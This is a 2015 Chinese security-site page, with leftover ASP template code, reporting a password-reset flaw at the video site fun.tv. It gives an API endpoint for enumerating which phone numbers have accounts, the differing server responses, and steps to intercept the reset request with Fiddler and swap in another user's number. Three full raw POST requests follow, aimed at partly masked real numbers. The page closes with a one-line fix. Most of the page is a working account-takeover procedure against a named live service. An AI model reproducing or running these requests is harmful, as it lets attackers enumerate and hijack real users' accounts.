<% dim ModuleName,InfoID,ChannelShortName,CorrelativeArticle,InstallDir,ChannelDir,Keyword,PageTitle,ArticleIntro,Articlecontent Keyword=stripHTML("风行网,密码重置") PageTitle=stripHTML("风行网任意用户密码重置漏洞") ArticleIntro=stripHTML("77169.com小编建议了解一下,密码重置漏洞,很多网站都有这个问题哦! 手机重置密码,密码重置操作没有关联详细的手机号,招致可重置恣意手机注册账户的密码。") Articlecontent=stripHTML("1. 通过下面url的返回结果,可以遍历出所有的手机注册账户: http://api1.fun.tv/ajax/get_mobile_vcode/电话号码/re…") ModuleName = stripHTML("exploits") InfoID = stripHTML("195976") ChannelShortName=stripHTML("漏洞") InstallDir=stripHTML("http://www.77169.org/") ChannelDir=stripHTML("exploits") %> 风行网任意用户密码重置漏洞 - 华盟网 - http://www.77169.org
您现在的位置: 华盟网 >> 漏洞 >> 网站漏洞 >> 正文

[图文]风行网任意用户密码重置漏洞

2015/4/13 作者:彩儿 来源: 本站整理
导读 <% if len(ArticleIntro)<3 then Response.Write Articlecontent 'Response.Write "Articlecontent" else Response.Write ArticleIntro 'Response.Write "ArticleIntro" end if %>

1. 通过下面url的返回结果,可以遍历出所有的手机注册账户: 

http://api1.fun.tv/ajax/get_mobile_vcode/电话号码/reset_password

存在的账户,返回:

{"status":200,"msg":"","url":"","field":""}

不存在的账户,返回:

{"status":400,"msg":"wrong mobile","url":"","field":""}



2. 手机注册一个账号,执行密码找回,输入接受到的验证码,确定后进入密码重置界面;

3. 输入新的密码,开启 fiddler 截获请求,点击确定;

code 区域
POST http://www.fun.tv/account/password/set?isajax=1 HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: http://www.fun.tv/account/password/setbymobile
x-requested-with: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Host: www.fun.tv
Content-Length: 71
Connection: Keep-Alive
Pragma: no-cache
。。。
user_name=电话号码&passwd=8e93ff85d9b1670&verifypass=8e93ff85d9b1670

漏洞证明:

5.png

code 区域
POST http://www.fun.tv/account/password/set?isajax=1 HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: http://www.fun.tv/account/password/setbymobile
x-requested-with: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Host: www.fun.tv
Content-Length: 71
Connection: Keep-Alive
Pragma: no-cache
user_name=18612xxxx10&passwd=8e93ff85d9b1670&verifypass=8e93ff85d9b1670
code 区域
POST http://www.fun.tv/account/password/set?isajax=1 HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: http://www.fun.tv/account/password/setbymobile
x-requested-with: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Host: www.fun.tv
Content-Length: 71
Connection: Keep-Alive
Pragma: no-cache
user_name=18612xxx097&passwd=8e93ff85d9b1670&verifypass=8e93ff85d9b1670

修复方案:

凭证用过即失效,凭证和账号关联。

漏洞栏目相关内容